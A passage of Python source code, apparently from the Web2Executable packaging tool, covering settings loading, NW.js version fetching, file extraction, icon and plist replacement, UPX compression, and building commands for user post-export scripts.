file\"\"\"\n config_file = config.get_file(config.SETTINGS_FILE)\n\n contents = codecs.open(config_file, encoding='utf-8').read()\n\n config_io = StringIO(contents)\n config_obj = ConfigObj(config_io, unrepr=True).dict()\n\n settings = {'setting_groups': []}\n setting_items = (list(config_obj['setting_groups'].items()) +\n [('export_settings', config_obj['export_settings'])] +\n [('compression', config_obj['compression'])])\n\n for setting_group, setting_group_dict in setting_items:\n settings[setting_group] = {}\n for setting_name, setting_dict in setting_group_dict.items():\n for key, val in setting_dict.items():\n if '_callback' in key:\n setting_dict[key] = getattr(self, setting_dict[key])\n setting_obj = Setting(name=setting_name, **setting_dict)\n settings[setting_group][setting_name] = setting_obj\n\n sgroup_items = config_obj['setting_groups'].items()\n for setting_group, setting_group_dict in sgroup_items:\n settings['setting_groups'].append(settings[setting_group])\n\n self._setting_items = (\n list(config_obj['setting_groups'].items()) +\n [('export_settings', config_obj['export_settings'])] +\n [('compression', config_obj['compression'])]\n )\n\n config_obj.pop('setting_groups')\n config_obj.pop('export_settings')\n config_obj.pop('compression')\n\n self._setting_items += config_obj.items()\n\n for key, val in config_obj.items():\n settings[key] = val\n\n return settings\n\n def project_dir(self):\n \"\"\"Get the stored project_dir\"\"\"\n return self._project_dir\n\n def output_dir(self):\n \"\"\"Get the stored output_dir\"\"\"\n return self._output_dir\n\n def project_name(self):\n \"\"\"Get the project name\"\"\"\n return (self._project_name or\n os.path.basename(os.path.abspath(self.project_dir())))\n\n def sub_output_pattern(self, pattern, tag_dict=None):\n \"\"\"\n Substitute patterns for setting values\n \"\"\"\n byte_pattern = bytearray(pattern.encode())\n\n val_dict = tag_dict or self.get_tag_value_dict()\n\n start = 0\n end = 0\n\n in_sub = False\n\n i = 0\n\n while i < len(byte_pattern):\n char = chr(byte_pattern[i])\n next_char = None\n if i != len(byte_pattern) - 1:\n next_char = chr(byte_pattern[i+1])\n\n if char == '%':\n if next_char == '(':\n start = i\n in_sub = True\n\n if in_sub:\n end = i\n\n if char == ')':\n in_sub = False\n old_string = str(byte_pattern[start:end+1], 'utf-8')\n sub = val_dict.get(old_string)\n\n if sub is not None:\n sub = str(sub)\n byte_pattern[start:end+1] = sub.encode()\n i = i + (len(sub)-len(old_string))\n\n i += 1\n\n return str(byte_pattern, 'utf-8')\n\n def get_tag_dict(self):\n \"\"\"\n Gets the tag dictionary used to populate the\n auto completion of the output name pattern field\n\n Returns:\n A dict object containing the mapping between friendly names\n and setting names.\n \"\"\"\n tag_dict = {}\n for setting_group in (self.settings['setting_groups'] +\n [self.settings['export_settings']] +\n [self.settings['compression']]):\n for key in setting_group.keys():\n setting = setting_group[key]\n tag_dict[setting.display_name] = '%('+key+')'\n\n tag_dict['System'] = '%(system)'\n tag_dict['Architecture'] = '%(arch)'\n tag_dict['Short System'] = '%(sys)'\n tag_dict['Platform'] = '%(platform)'\n\n return tag_dict\n\n def get_tag_value_dict(self):\n \"\"\"\n Gets the tag to value dictionary to substitute values\n \"\"\"\n tag_dict = {}\n for setting_group in (self.settings['setting_groups'] +\n [self.settings['export_settings']] +\n [self.settings['compression']]):\n for key in setting_group.keys():\n setting = setting_group[key]\n tag_dict['%('+key+')'] = setting.value\n\n return tag_dict\n\n def get_setting(self, name):\n \"\"\"Get a setting by name\n\n Args:\n name: a string to search for\n\n Returns:\n A setting object or None\n \"\"\"\n\n for setting_group in (self.settings['setting_groups'] +\n [self.settings['export_settings']] +\n [self.settings['compression']]):\n if name in setting_group:\n setting = setting_group[name]\n return setting\n\n def show_error(self, error):\n \"\"\"Show an error using the logger\"\"\"\n if self.logger is not None:\n self.logger.error(error)\n\n def enable_ui_after_error(self):\n \"\"\"\n Empty method for compatibility with the GUI superclass. DO NOT DELETE!\n \"\"\"\n pass\n\n def get_default_nwjs_branch(self):\n \"\"\"\n Get the default nwjs branch to search for\n the changelog from github.\n \"\"\"\n query_api = False\n nwjs_branch_path = get_data_file_path(config.NW_BRANCH_FILE)\n\n if os.path.exists(nwjs_branch_path):\n mod_time = os.path.getmtime(nwjs_branch_path)\n mod_time = datetime.fromtimestamp(mod_time)\n hour_ago = datetime.now() - timedelta(hours=1)\n\n if mod_time <= hour_ago:\n query_api = True\n else:\n query_api = True\n\n branch = None\n\n if query_api:\n github_url = self.settings['version_info']['github_api_url']\n\n resp = utils.urlopen(github_url)\n json_string = resp.read().decode('utf-8')\n data = json.loads(json_string)\n branch = data['default_branch']\n\n with codecs.open(nwjs_branch_path, 'w', encoding='utf-8') as f:\n f.write(branch)\n\n else:\n with codecs.open(nwjs_branch_path, 'r', encoding='utf-8') as f:\n branch = f.read().strip()\n\n return branch\n\n def get_versions(self):\n \"\"\"Get the versions from the NW.js Github changelog\"\"\"\n if self.logger is not None:\n self.logger.info('Getting versions...')\n\n union_versions = set()\n\n current_branch = self.get_default_nwjs_branch()\n\n for urlTuple in self.settings['version_info']['urls']:\n url, regex = urlTuple\n url = url.format(current_branch)\n response = utils.urlopen(url)\n html = response.read().decode('utf-8')\n\n nw_version = self.get_setting('nw_version')\n\n old_versions = set(nw_version.values)\n\n old_versions = old_versions.union(union_versions)\n new_versions = set(re.findall(regex, html))\n\n union_versions = old_versions.union(new_versions)\n\n versions = sorted(union_versions,\n key=Version, reverse=True)\n\n filtered_vers = []\n\n for v in versions:\n ver = Version(v)\n if ver.major > 0 or (ver.major == 0 and ver.minor >= 13):\n filtered_vers.append(v)\n\n versions = filtered_vers\n\n nw_version.values = versions\n f = None\n try:\n ver_path = get_data_file_path(config.VER_FILE)\n with codecs.open(ver_path, 'w', encoding='utf-8') as f:\n for v in nw_version.values:\n f.write(v+os.linesep)\n except IOError:\n exc_format = utils.format_exc_info(sys.exc_info)\n self.show_error(exc_format)\n self.enable_ui_after_error()\n finally:\n if f:\n f.close()\n\n def download_file_with_error_handling(self):\n \"\"\"\n Try to download a file and safely handle errors by showing them\n in the GUI.\n \"\"\"\n setting = self.files_to_download.pop()\n location = (self.get_setting('download_dir').value or\n config.download_path())\n version = self.selected_version()\n path = setting.url.format(version, version)\n\n sdk_build_setting = self.get_setting('sdk_build')\n sdk_build = sdk_build_setting.value\n\n if sdk_build:\n path = utils.replace_right(path, 'nwjs', 'nwjs-sdk', 1)\n\n try:\n return self.download_file(setting.url.format(version, version),\n setting)\n except (Exception, KeyboardInterrupt):\n if os.path.exists(setting.save_file_path(version, location)):\n os.remove(setting.save_file_path(version, location))\n\n exc_format = utils.format_exc_info(sys.exc_info())\n self.show_error(exc_format)\n self.enable_ui_after_error()\n\n def load_package_json(self, json_path=None):\n \"\"\"Load the package.json in the project or from json_path\n\n Args:\n json_path: the path to a custom json file with web2exe settings\n \"\"\"\n self.logger.info('Loading package.json')\n\n if json_path is not None:\n p_json = [json_path]\n else:\n p_json = glob.glob(utils.path_join(self.project_dir(),\n 'package.json'))\n setting_list = []\n\n if p_json:\n json_str = ''\n try:\n with codecs.open(p_json[0], 'r', encoding='utf-8') as f:\n json_str = f.read()\n except IOError:\n return setting_list\n\n try:\n setting_list = self.load_from_json(json_str)\n except ValueError as e: # Json file is invalid\n self.logger.warning('Warning: Json file invalid.')\n self.progress_text = '{}\\n'.format(e)\n return setting_list\n\n def process_app_settings(self, dic):\n \"\"\"Process the app settings into the dic\"\"\"\n for setting_name, setting in self.settings['app_settings'].items():\n\n if setting.value is not None and setting.value != '':\n dic[setting_name] = setting.value\n if setting_name == 'keywords':\n dic[setting_name] = re.findall('\\w+', setting.value)\n else:\n dic.pop(setting_name, '')\n\n def process_window_settings(self, dic):\n \"\"\"Process the window settings into the dic\"\"\"\n for setting_name, setting in self.settings['window_settings'].items():\n if setting.value is not None and setting.value != '':\n if setting.type == 'int':\n try:\n dic['window'][setting_name] = int(setting.value)\n except ValueError:\n pass\n else:\n dic['window'][setting_name] = setting.value\n else:\n dic['window'].pop(setting_name, '')\n\n def process_webkit_settings(self, dic):\n \"\"\"Process the webkit settings into the dic\"\"\"\n for setting_name, setting in self.settings['webkit_settings'].items():\n if setting.value is not None and setting.value != '':\n dic['webkit'][setting_name] = setting.value\n else:\n dic['webkit'].pop(setting_name, '')\n\n def process_webexe_settings(self, dic, global_json):\n \"\"\"Set the web2exe settings based on remaining options\n Args:\n dic: a dict-like object representing the to be saved options\n global_json: a boolean telling whether to load global json options\n \"\"\"\n if not global_json:\n dl_export_items = (list(self.settings['download_settings'].items()) +\n list(self.settings['export_settings'].items()) +\n list(self.settings['compression'].items()) +\n list(self.settings['web2exe_settings'].items()))\n else:\n dl_export_items = (list(self.settings['download_settings'].items()) +\n list(self.settings['export_settings'].items()) +\n list(self.settings['compression'].items()))\n\n for setting_name, setting in dl_export_items:\n if setting.value is not None:\n dic['webexe_settings'][setting_name] = setting.value\n\n def generate_web2exe_json(self, global_json=False):\n \"\"\"Generates web2exe's settings json\"\"\"\n self.logger.info('Generating web2exe json file...')\n\n web2exe_dic = {'webexe_settings': {}}\n\n self.process_webexe_settings(web2exe_dic, global_json)\n\n return json.dumps(web2exe_dic, indent=4, sort_keys=True)\n\n def generate_project_json(self):\n \"\"\"Generates the json config files for the exported app\"\"\"\n self.logger.info('Generating package.json...')\n\n dic = {}\n\n dic.update({'webkit': {}, 'window': {}})\n dic.update(self.original_packagejson)\n\n self.process_app_settings(dic)\n self.process_window_settings(dic)\n self.process_webkit_settings(dic)\n\n return json.dumps(dic, indent=4, sort_keys=True)\n\n @property\n def extract_error(self):\n \"\"\"Get the current extract error\"\"\"\n return self._extract_error\n\n @extract_error.setter\n def extract_error(self, value):\n \"\"\"Write the extract error to the terminal\"\"\"\n if value is not None and not self.quiet:\n self._extract_error = value\n sys.stderr.write('\\r{}'.format(self._extract_error))\n sys.stderr.flush()\n\n @property\n def output_err(self):\n \"\"\"Get the current error\"\"\"\n return self._output_err\n\n @output_err.setter\n def output_err(self, value):\n \"\"\"Write an error to the terminal\"\"\"\n if value is not None and not self.quiet:\n self._output_err = value\n sys.stderr.write('\\r{}'.format(self._output_err))\n sys.stderr.flush()\n\n @property\n def progress_text(self):\n \"\"\"Get the progress text currently set\"\"\"\n return self._progress_text\n\n @progress_text.setter\n def progress_text(self, value):\n \"\"\"Write progress text to the terminal\n\n Args:\n value: The value to write to the terminal\n \"\"\"\n if value is not None and not self.quiet:\n self._progress_text = value\n sys.stdout.write('\\r{}'.format(self._progress_text))\n sys.stdout.flush()\n\n def load_from_json(self, json_str):\n \"\"\"Load settings from the supplied json string\n\n Args:\n json_str: the json string to parse all of the GUI options from\n\n Returns:\n A list of Setting objects\n \"\"\"\n dic = json.loads(json_str)\n self.original_packagejson.update(dic)\n setting_list = []\n stack = [('root', dic)]\n while stack:\n parent, new_dic = stack.pop()\n for item in new_dic:\n setting = self.get_setting(item)\n if setting:\n if (setting.type == 'file' or\n setting.type == 'string' or\n setting.type == 'folder' or\n setting.type == 'int'):\n val_str = self.convert_val_to_str(new_dic[item])\n setting.value = val_str\n if setting.type == 'strings':\n ditem = new_dic[item]\n strs = self.convert_val_to_str(ditem).split(',')\n strs = [x.strip() for x in strs if x]\n setting.value = strs\n if setting.type == 'check':\n setting.value = new_dic[item]\n if setting.type == 'list':\n val_str = self.convert_val_to_str(new_dic[item])\n setting.value = val_str\n if setting.type == 'range':\n setting.value = new_dic[item]\n\n setting_list.append(setting)\n if isinstance(new_dic[item], dict):\n stack.append((item, new_dic[item]))\n return setting_list\n\n def selected_version(self):\n \"\"\"Get the currently selected version from the NW.js dropdown\"\"\"\n return self.get_setting('nw_version').value or self.get_setting('nw_version').values[0]\n\n def extract_files(self):\n \"\"\"Extract nw.js files to the specific version path\"\"\"\n self.extract_error = None\n location = (self.get_setting('download_dir').value or\n config.download_path())\n\n sdk_build_setting = self.get_setting('sdk_build')\n sdk_build = sdk_build_setting.value\n version = self.selected_version()\n\n for setting_name, setting in self.settings['export_settings'].items():\n save_file_path = setting.save_file_path(version,\n location,\n sdk_build)\n try:\n if setting.value:\n extract_path = get_data_path('files/'+setting.name)\n setting.extract(extract_path, version, save_file_path,\n sdk_build)\n\n self.progress_text += '.'\n\n except (tarfile.ReadError, zipfile.BadZipfile) as e:\n if os.path.exists(save_file_path):\n os.remove(save_file_path)\n self.extract_error = e\n self.logger.error(self.extract_error)\n # cannot use GUI in thread to notify user. Save it for later\n self.progress_text = '\\nDone.\\n'\n return True\n\n def create_icns_for_app(self, icns_path):\n \"\"\"\n Converts the project icon to ICNS format and saves it\n to the path specified\n\n Args:\n icns_path: The path to write the icns file to\n \"\"\"\n icon_setting = self.get_setting('icon')\n mac_app_icon_setting = self.get_setting('mac_icon')\n icon_path = (mac_app_icon_setting.value\n if mac_app_icon_setting.value\n else icon_setting.value)\n\n if icon_path:\n icon_path = utils.path_join(self.project_dir(), icon_path)\n if not icon_path.endswith('.icns'):\n save_icns(icon_path, icns_path)\n else:\n utils.copy(icon_path, icns_path)\n\n def replace_icon_in_exe(self, exe_path):\n \"\"\"Modifies the nw.js executable to have the project icon\n\n Args:\n exe_path: The path to write the new exe to\n \"\"\"\n icon_setting = self.get_setting('icon')\n exe_icon_setting = self.get_setting('exe_icon')\n icon_path = (exe_icon_setting.value\n if exe_icon_setting.value\n else icon_setting.value)\n if icon_path:\n p = PEFile(exe_path)\n p.replace_icon(utils.path_join(self.project_dir(), icon_path))\n p.write(exe_path)\n p = None\n\n def write_package_json(self):\n \"\"\"Collects filled options and writes corresponding json files\"\"\"\n json_file = utils.path_join(self.project_dir(), 'package.json')\n w2e_json_file = utils.path_join(self.project_dir(),\n config.WEB2EXE_JSON_FILE)\n\n global_json = utils.get_data_file_path(config.GLOBAL_JSON_FILE)\n\n if not self.readonly and self.update_json:\n # Write package json\n if self.output_package_json:\n with codecs.open(json_file, 'w+', encoding='utf-8') as f:\n f.write(self.generate_project_json())\n\n if self.update_json:\n with codecs.open(w2e_json_file,\n 'w+', encoding='utf-8') as f:\n f.write(self.generate_web2exe_json())\n\n # Write global settings that are kept when installing new\n # versions\n with codecs.open(global_json, 'w+', encoding='utf-8') as f:\n f.write(self.generate_web2exe_json(global_json=True))\n\n def clean_dirs(self, *dirs):\n \"\"\"\n Delete directory trees with :py:func:`utils.rmtree` and recreate\n them\n\n Args:\n *dirs: directories to be cleaned\n \"\"\"\n for directory in dirs:\n if os.path.exists(directory):\n utils.rmtree(directory, onerror=self.remove_readonly)\n if not os.path.exists(directory):\n os.makedirs(directory)\n\n def get_export_path(self, ex_setting, name_pattern):\n \"\"\"Get the export destination path using the export setting\n\n Args:\n ex_setting: an export setting (eg: mac-x64)\n output_dir: the path of the output project directory\n\n Returns:\n A path to store the output files\n \"\"\"\n\n tag_dict = {\n '%(system)': ex_setting.system,\n '%(sys)': ex_setting.short_system,\n '%(arch)': ex_setting.arch,\n '%(platform)': ex_setting.name\n }\n\n dest = self.sub_output_pattern(name_pattern, tag_dict)\n\n if dest == name_pattern:\n dest = utils.path_join(name_pattern, ex_setting.name)\n\n return dest\n\n def copy_export_files(self, ex_setting, export_dest):\n \"\"\"Copy the export files to the destination path\n\n Args:\n ex_setting: an export setting (eg: mac-x64)\n export_dest: the path returned by get_export_dest()\n \"\"\"\n\n if os.path.exists(export_dest):\n utils.rmtree(export_dest)\n\n # shutil will make the directory for us\n utils.copytree(get_data_path('files/'+ex_setting.name),\n export_dest,\n ignore=shutil.ignore_patterns('place_holder.txt'))\n utils.rmtree(get_data_path('files/'+ex_setting.name))\n\n def replace_localized_app_name(self, app_path):\n \"\"\"\n Replace app name in InfoPlist.strings to make\n the app name appear in Finder\n\n Args:\n app_path: The exported application path\n \"\"\"\n strings_path = utils.path_join(app_path,\n 'Contents',\n 'Resources',\n 'en.lproj',\n 'InfoPlist.strings')\n\n strings = open(strings_path, mode='rb').read()\n strings = str(strings)\n strings = strings.replace('nwjs', self.project_name())\n with open(strings_path, mode='wb+') as f:\n f.write(bytes(strings, 'utf-8'))\n\n def replace_plist(self, app_path):\n \"\"\"Replaces the Info.plist file with the project settings\n contents\n\n Args:\n app_path: The exported application path\n \"\"\"\n\n plist_path = utils.path_join(app_path, 'Contents', 'Info.plist')\n\n with open(plist_path, 'rb') as fp:\n plist_dict = plistlib.load(fp)\n\n plist_dict['CFBundleDisplayName'] = self.project_name()\n plist_dict['CFBundleName'] = self.project_name()\n version_setting = self.get_setting('version')\n if version_setting.value is not None:\n plist_dict['CFBundleShortVersionString'] = version_setting.value\n plist_dict['CFBundleVersion'] = version_setting.value\n else:\n plist_dict['CFBundleShortVersionString'] = '0.0.0'\n plist_dict['CFBundleVersion'] = '0.0.0'\n\n with open(plist_path, 'wb') as fp:\n plistlib.dump(plist_dict, fp)\n\n def process_mac_setting(self, app_loc, export_dest,\n ex_setting):\n \"\"\"Process the Mac settings\n\n Args:\n app_loc: the app's location\n export_dest: the destination to export the app to\n \"\"\"\n\n app_path = utils.path_join(export_dest,\n self.project_name()+'.app')\n\n nw_path = utils.path_join(export_dest, 'nwjs.app')\n self.compress_nw(nw_path, ex_setting)\n utils.move(nw_path, app_path)\n\n self.replace_plist(app_path)\n\n resource_path = utils.path_join(\n app_path,\n 'Contents',\n 'Resources'\n )\n\n app_nw_res = utils.path_join(resource_path, 'app.nw')\n\n if self.uncompressed:\n utils.copytree(app_loc, app_nw_res)\n else:\n utils.copy(app_loc, app_nw_res)\n\n self.progress_text += '.'\n\n self.create_icns_for_app(utils.path_join(resource_path,\n 'app.icns'))\n self.create_icns_for_app(utils.path_join(resource_path,\n 'document.icns'))\n self.replace_localized_app_name(app_path)\n\n self.progress_text += '.'\n\n\n def process_win_linux_setting(self, app_loc, export_dest,\n ex_setting):\n \"\"\"Processes windows and linux settings\n\n Creates executable, modifies exe icon, and copies to the destination\n\n Args:\n app_loc: the location of the app\n export_dest: directory to copy app to\n ex_setting: the export setting (eg: mac-x32)\n\n \"\"\"\n\n nw_path = utils.path_join(export_dest,\n ex_setting.binary_location)\n\n ext = ''\n if 'windows' in ex_setting.name:\n ext = '.exe'\n self.replace_icon_in_exe(nw_path)\n\n self.compress_nw(nw_path, ex_setting)\n\n dest_binary_path = utils.path_join(export_dest,\n self.project_name() +\n ext)\n if 'linux' in ex_setting.name:\n self.make_desktop_file(dest_binary_path, export_dest)\n\n self.copy_executable(export_dest, dest_binary_path,\n nw_path, app_loc)\n\n self.set_executable(dest_binary_path)\n\n self.progress_text += '.'\n\n if os.path.exists(nw_path):\n os.remove(nw_path)\n\n def process_export_setting(self, ex_setting, output_name):\n \"\"\"Create the executable based on the export setting\"\"\"\n if ex_setting.value:\n self.progress_text = '\\n'\n\n name = ex_setting.display_name\n\n self.progress_text = 'Making files for {}...'.format(name)\n\n temp_dir = utils.path_join(config.TEMP_DIR, 'webexectemp')\n\n name_path = self.get_export_path(ex_setting, output_name)\n output_dir = utils.path_join(self.output_dir(), name_path)\n self.clean_dirs(temp_dir, output_dir)\n app_loc = self.get_app_nw_loc(temp_dir, output_dir)\n\n self.copy_export_files(ex_setting, output_dir)\n\n self.progress_text += '.'\n\n if 'mac' in ex_setting.name:\n self.process_mac_setting(app_loc, output_dir, ex_setting)\n else:\n self.process_win_linux_setting(app_loc, output_dir,\n ex_setting)\n\n @property\n def used_project_files(self):\n return self.file_tree.files\n\n @property\n def used_project_dirs(self):\n return self.file_tree.dirs\n\n def make_output_dirs(self, write_json=True):\n \"\"\"Create the output directories for the application to be copied\"\"\"\n\n output_name = self.sub_pattern() or self.project_name()\n\n self.progress_text = 'Making new directories...\\n'\n\n\n whitelist_setting = self.get_setting('whitelist')\n blacklist_setting = self.get_setting('blacklist')\n\n output_blacklist = os.path.basename(self.output_dir())\n\n blacklist_vals = re.split(',?\\n?', blacklist_setting.value)\n whitelist_vals = re.split(',?\\n?', whitelist_setting.value)\n\n self.file_tree.init(self.project_dir(),\n blacklist=(blacklist_vals +\n ['*'+output_blacklist+'*']),\n whitelist=whitelist_vals)\n\n self.copy_files_to_project_folder()\n\n if write_json:\n self.write_package_json()\n self.file_tree.refresh()\n\n for ex_setting in self.settings['export_settings'].values():\n self.process_export_setting(ex_setting, output_name)\n\n @property\n def uncompressed(self):\n \"\"\"Returns true if the exported app is to be uncompressed\"\"\"\n uncomp_setting = self.get_setting('uncompressed_folder')\n return uncomp_setting.value\n\n def sub_pattern(self):\n \"\"\"Returns the output pattern substitution or an empty string\"\"\"\n setting = self.get_setting('output_pattern')\n return self.sub_output_pattern(setting.value)\n\n def try_make_output_dirs(self):\n \"\"\"Try to create the output directories if they don't exist\"\"\"\n self.output_err = ''\n try:\n self.make_output_dirs()\n except Exception:\n exc_format = utils.format_exc_info(sys.exc_info)\n self.logger.error(exc_format)\n self.output_err += exc_format\n finally:\n temp_dir = utils.path_join(config.TEMP_DIR, 'webexectemp')\n utils.rmtree(temp_dir, onerror=self.remove_readonly)\n\n def get_app_nw_loc(self, temp_dir, output_dir):\n \"\"\"Copy the temporary app to the output_dir\"\"\"\n app_file = utils.path_join(temp_dir, self.project_name()+'.nw')\n\n proj_dir = self.project_dir()\n\n if self.uncompressed:\n app_nw_folder = utils.path_join(temp_dir,\n self.project_name()+'.nwf')\n for dir in self.used_project_dirs:\n if not os.path.exists(dir):\n os.makedirs(dir)\n\n for file in self.used_project_files:\n src = utils.path_join(proj_dir, file)\n dest = utils.path_join(app_nw_folder, file)\n\n base, _ = os.path.split(dest)\n\n if not os.path.exists(base):\n os.makedirs(base)\n\n utils.copy(src, dest)\n return app_nw_folder\n else:\n zip_files(app_file, proj_dir, *self.used_project_files)\n return app_file\n\n def get_version_tuple(self):\n \"\"\"Get the currently selected version's tuple of major, minor, release\n\n Returns:\n A 3-tuple of (major, minor, release)\n \"\"\"\n try:\n strs = re.findall('(\\d+)\\.(\\d+)\\.(\\d+)',\n self.selected_version())[0]\n except IndexError:\n strs = ['0','0','0']\n return [int(s) for s in strs]\n\n def copy_executable(self, export_path, dest_path,\n nw_path, app_loc):\n \"\"\"\n Merge the zip file into the exe and copy it to the destination path\n \"\"\"\n package_loc = utils.path_join(export_path, 'package.nw')\n if self.uncompressed:\n utils.copytree(app_loc, package_loc)\n utils.copy(nw_path, dest_path)\n else:\n join_files(dest_path, nw_path, app_loc)\n\n\n def set_executable(self, path):\n \"\"\"Modify the path to be executable by the OS\"\"\"\n sevenfivefive = (stat.S_IRWXU |\n stat.S_IRGRP |\n stat.S_IXGRP |\n stat.S_IROTH |\n stat.S_IXOTH)\n os.chmod(path, sevenfivefive)\n\n def make_desktop_file(self, nw_path, export_dest):\n \"\"\"Make the linux desktop file for unity or other launchers\"\"\"\n\n icon_set = self.get_setting('icon')\n icon_path = utils.path_join(self.project_dir(), icon_set.value)\n\n if os.path.exists(icon_path) and icon_set.value:\n utils.copy(icon_path, export_dest)\n icon_path = utils.path_join(export_dest,\n os.path.basename(icon_path))\n else:\n icon_path = ''\n\n name = self.project_name()\n\n version = self.get_setting('version')\n desc = self.get_setting('description')\n\n dfile_path = utils.path_join(export_dest, '{}.desktop'.format(name))\n\n file_str = (\n '[Desktop Entry]\\n'\n 'Version={}\\n'\n 'Name={}\\n'\n 'Comment={}\\n'\n 'Exec=bash -c \\'\"$(dirname \"$1\")\"/{}\\' x %k\\n'\n 'Icon={}\\n'\n 'Terminal=false\\n'\n 'Type=Application\\n'\n 'Categories=Utility;Application;\\n'\n )\n\n file_str = file_str.format(\n version.value,\n name,\n desc.value,\n name,\n icon_path\n )\n\n with codecs.open(dfile_path, 'w+', encoding='utf-8') as f:\n f.write(file_str)\n\n os.chmod(dfile_path, 0o755)\n\n def compress_nw(self, nw_path, ex_setting):\n \"\"\"Compress the nw file using upx\"\"\"\n compression = self.get_setting('nw_compression_level')\n\n if compression.value == 0:\n return\n\n comp_dict = {\n 'Darwin64bit': config.get_file(config.UPX_MAC_PATH),\n 'Darwin32bit': config.get_file(config.UPX_MAC_PATH),\n 'Linux64bit': config.get_file(config.UPX_LIN64_PATH),\n 'Linux32bit': config.get_file(config.UPX_LIN32_PATH),\n 'Windows64bit': config.get_file(config.UPX_WIN_PATH),\n 'Windows32bit': config.get_file(config.UPX_WIN_PATH)\n }\n\n if config.is_installed():\n comp_dict['Windows64bit'] = get_data_file_path(config.UPX_WIN_PATH)\n comp_dict['Windows32bit'] = get_data_file_path(config.UPX_WIN_PATH)\n\n plat = platform.system()+platform.architecture()[0]\n upx_version = comp_dict.get(plat, None)\n\n if upx_version is not None:\n upx_bin = upx_version\n os.chmod(upx_bin, 0o755)\n\n cmd = [upx_bin, '--lzma', '-{}'.format(compression.value)]\n\n if 'windows' in ex_setting.name:\n path = os.path.join(os.path.dirname(nw_path), '*.dll')\n cmd.extend(glob.glob(path))\n elif 'linux' in ex_setting.name:\n path = os.path.join(os.path.dirname(nw_path), 'lib', '*.so')\n cmd.extend(glob.glob(path))\n elif 'mac' in ex_setting.name:\n dylib_path = utils.path_join(\n nw_path,\n 'Contents',\n 'Versions',\n '**',\n 'nwjs Framework.framework',\n )\n framework_path = os.path.join(dylib_path, 'nwjs Framework')\n cmd.extend(glob.glob(framework_path))\n path = os.path.join(dylib_path, '*.dylib')\n cmd.extend(glob.glob(path))\n\n if platform.system() == 'Windows':\n startupinfo = subprocess.STARTUPINFO()\n startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW\n startupinfo.wShowWindow = subprocess.SW_HIDE\n proc = subprocess.Popen(\n cmd, stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n stdin=subprocess.PIPE,\n startupinfo=startupinfo\n )\n else:\n proc = subprocess.Popen(\n cmd, stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n stdin=subprocess.PIPE\n )\n\n self.progress_text = '\\n\\n'\n self.progress_text = 'Compressing files'\n\n while proc.poll() is None:\n self.progress_text += '.'\n time.sleep(2)\n\n output, err = proc.communicate()\n if err:\n args = ex_setting.name, platform.system(), ex_setting.name\n self.output_err = ('Cannot compress files for {} on {}!\\n'\n 'Run Web2Exe on {} to '\n 'compress successfully.').format(*args)\n\n def remove_readonly(self, action, name, exc):\n \"\"\"Try to remove readonly files\"\"\"\n try:\n os.chmod(name, stat.S_IWRITE)\n os.remove(name)\n except Exception as e:\n error = 'Failed to remove file: {}.'.format(name)\n error += '\\nError recieved: {}'.format(e)\n self.logger.error(error)\n self.output_err += error\n\n def copy_files_to_project_folder(self):\n \"\"\"\n Copy external files to the project folder\n so that they are bundled with the exe\n \"\"\"\n old_dir = config.CWD\n\n os.chdir(self.project_dir())\n self.logger.info('Copying files to {}'.format(self.project_dir()))\n\n for sgroup in self.settings['setting_groups']:\n for setting in sgroup.values():\n if setting.copy and setting.type == 'file' and setting.value:\n f_path = setting.value.replace(self.project_dir(), '')\n if os.path.isabs(f_path):\n message = ('Copying file {} '\n 'to {}'.format(setting.value,\n self.project_dir()))\n try:\n utils.copy(setting.value, self.project_dir())\n self.logger.info(message)\n except shutil.Error as e: # same file warning\n self.logger.warning('Warning: {}'.format(e))\n finally:\n setting.value = os.path.basename(setting.value)\n\n os.chdir(old_dir)\n\n def convert_val_to_str(self, val):\n \"\"\"Convert a setting value to a string path\"\"\"\n if val is None:\n return None\n if isinstance(val, (list, tuple)):\n return ', '.join(val)\n return str(val).replace(self.project_dir()+os.path.sep, '')\n\n def get_python_command(self, export_dict, export_dir,\n export_dirs, contents):\n \"\"\"\n Inject arguments into python script and then execute it in a temp\n directory.\n \"\"\"\n export_opts = self.get_export_options()\n env_file = config.get_file(config.ENV_VARS_PY_PATH)\n env_contents = codecs.open(env_file, 'r', encoding='utf-8').read()\n\n for i, ex_dir in enumerate(export_dirs):\n opt = export_opts[i]\n export_dict[opt+'_dir'] = ex_dir\n\n env_vars = env_contents.format(proj_dir=self.project_dir(),\n proj_name=self.project_name(),\n export_dir=export_dir,\n export_dirs=str(export_dirs),\n num_dirs=len(export_dirs),\n **export_dict)\n pycontents = '{}\\n{}'.format(env_vars, contents)\n\n command = ['python', '-c', pycontents]\n\n return command\n\n def get_bat_command(self, export_dict, export_dir, export_dirs, contents):\n \"\"\"\n Inject arguments into bat script and then execute it in a temp\n directory.\n \"\"\"\n export_opts = self.get_export_options()\n env_file = config.get_file(config.ENV_VARS_BAT_PATH)\n env_contents = codecs.open(env_file, 'r', encoding='utf-8').read()\n ex_dir_vars = ''\n\n for i, ex_dir in enumerate(export_dirs):\n opt = export_opts[i]\n export_dict[opt+'_dir'] = ex_dir\n ex_dir_vars += 'set \"EXPORT_DIRS[{}]={}\"\\n'.format(i, ex_dir)\n\n env_vars = env_contents.format(proj_dir=self.project_dir(),\n proj_name=self.project_name(),\n export_dir=export_dir,\n num_dirs=len(export_dirs),\n export_dirs=ex_dir_vars,\n **export_dict)\n batcontents = '{}\\n{}'.format(env_vars, contents)\n\n bat_file = utils.path_join(config.TEMP_DIR,\n '{}.bat'.format(self.project_name()))\n\n self.logger.debug(batcontents)\n\n with open(bat_file, 'w+') as f:\n f.write(batcontents)\n\n command = [bat_file]\n\n return command\n\n def get_bash_command(self, export_dict, export_dir, export_dirs, contents):\n \"\"\"\n Inject arguments into bash script and then execute it in a temp\n directory.\n \"\"\"\n export_opts = self.get_export_options()\n env_file = config.get_file(config.ENV_VARS_BASH_PATH)\n env_contents = codecs.open(env_file, 'r', encoding='utf-8').read()\n ex_dir_vars = ''\n\n for i, ex_dir in enumerate(export_dirs):\n opt = export_opts[i]\n export_dict[opt+'_dir'] = ex_dir\n ex_dir_vars += ex_dir\n if i != (len(export_dirs)-1):\n ex_dir_vars += ' '\n\n env_vars = env_contents.format(proj_dir=self.project_dir(),\n proj_name=self.project_name(),\n export_dir=export_dir,\n num_dirs=len(export_dirs),\n export_dirs=ex_dir_vars,\n **export_dict)\n bashcontents = '{}\\n{}'.format(env_vars, contents)\n\n bash_file = utils.path_join(config.TEMP_DIR,\n '{}.bash'.format(self.project_name()))\n\n 